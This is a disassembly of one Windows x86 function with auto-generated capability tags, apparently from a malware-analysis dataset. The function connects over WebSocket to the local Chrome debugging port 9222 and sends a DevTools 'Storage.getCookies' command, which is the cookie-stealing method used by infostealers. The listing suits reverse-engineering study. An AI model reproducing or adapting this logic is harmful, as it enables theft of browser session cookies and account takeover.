Function at 0x4097b0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50abfb
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x5340e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0xd8
lea eax, [ebp - 0xe9]
push 0
push eax
call fcn.004e7970
push 0x27
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.004e7970
push str._id_:1__method_:_Storage.getCookies_
lea eax, [ebp - 0x110]
push 0x27
push eax
call fcn.00408070
add esp, 0x24
mov dword [ebp - 0x248], 0
push 9
xor eax, eax
mov dword [ebp - 0x238], 0
push str.127.0.0.1
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
mov dword [ebp - 4], 0xffffffff
call fcn.00403ad0
push 0
push 0
push 0
push 0
push str.WebSocket_Client
mov dword [ebp - 4], 1
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edi, eax
mov dword [ebp - 0x250], edi
test edi, edi
jne 0x40988c
call fcn.00404610
lea esi, [edi + 1]
jmp 0x409ba2
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0x2406
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, eax
mov dword [ebp - 0x254], ebx
test ebx, ebx
jne 0x4098d4
mov ecx, str.Failed_to_connect_to_server.
call fcn.0040c240
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea esi, [ebx + 1]
jmp 0x409ba2
mov edx, esi
lea ecx, [ebp - 0x228]
call fcn.00408730
cmp dword [eax + 0x14], 8
jb 0x4098e9
mov eax, dword [eax]
push 0
push 0
push 0
push 0
push eax
push 0x52ace8
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 0x214]
mov esi, eax
cmp edx, 8
jb 0x409940
mov ecx, dword [ebp - 0x228]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409936
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409bfc
push edx
push ecx
call fcn.004e54c3
add esp, 8
xor eax, eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 7
mov word [ebp - 0x228], ax
test esi, esi
jne 0x409981
mov ecx, str.Failed_to_open_HTTP_request.
call fcn.0040c240
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push ebx
call esi
push edi
call esi
mov esi, 1
jmp 0x409ba2
push 0
push 0
push 0x72
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
jne 0x4099a1
mov ecx, str.Failed_to_upgrade_to_WebSocket.
call fcn.0040c240
jmp 0x409a30
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x4099c4
mov ecx, str.Failed_to_send_HTTP_request.
call fcn.0040c240
jmp 0x409a30
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x4099d8
call fcn.0040ee20
jmp 0x409a30
push 0
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpWebSocketCompleteUpgrade]
mov dword [ebp - 0x24c], eax
test eax, eax
jne 0x4099f2
mov ecx, str.Error_completing_WebSocket_upgrade.
jmp 0x409a2b
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409a02
mov esi, dword [ebp - 0x24c]
lea eax, [ebp - 0x110]
sub ecx, edx
push ecx
push eax
push 2
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpWebSocketSend]
test eax, eax
je 0x409a49
mov ecx, str.Error_sending_message_to_WebSocket.
call fcn.0040c240
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push ebx
call esi
push edi
call esi
mov esi, 1
jmp 0x409ba2
mov dword [ebp - 0x228], 0
xor esi, esi
mov byte [ebp - 0x228], 0
mov ebx, 0xf
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], ebx
mov byte [ebp - 4], 3
mov dword [ebp - 0x22c], esi
nop word [eax + eax]
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x22c]
push eax
push 0xff
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x24c]
call dword [sym.imp.WINHTTP.dll_WinHttpWebSocketReceive]
test eax, eax
jne 0x409b1d
mov edi, dword [ebp - 0x22c]
mov eax, ebx
sub eax, esi
push edi
cmp edi, eax
ja 0x409aea
lea eax, [edi + esi]
cmp ebx, 0x10
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x228]
cmovae eax, dword [ebp - 0x228]
add esi, eax
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.004e73f0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x409b03
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x250]
lea ecx, [ebp - 0x228]
push edi
call fcn.00404b10
cmp dword [ebp - 0x230], 3
jne 0x409b22
mov ebx, dword [ebp - 0x214]
mov esi, dword [ebp - 0x218]
jmp 0x409a80
call fcn.0040f080
mov ebx, dword [ebp - 0x24c]
push 0
push 0
push 0x3e8
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWebSocketClose]
test eax, eax
je 0x409b46
mov ecx, str.Error_closing_WebSocket_connection.
call fcn.0040c240
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push ebx
call esi
push dword [ebp - 0x254]
call esi
push dword [ebp - 0x250]
call esi
lea ecx, [ebp - 0x228]
call fcn.004091d0
mov edx, dword [ebp - 0x214]
xor esi, esi
cmp edx, 0x10
jb 0x409ba2
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409b98
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409c01
push edx
push ecx
call fcn.004e54c3
add esp, 8
mov edx, dword [ebp - 0x234]
cmp edx, 8
jb 0x409bde
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409bd4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409c01
push edx
push ecx
call fcn.004e54c3
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e56df
mov esp, ebp
pop ebp
ret
call fcn.004ea4df
call fcn.004ea4df
int3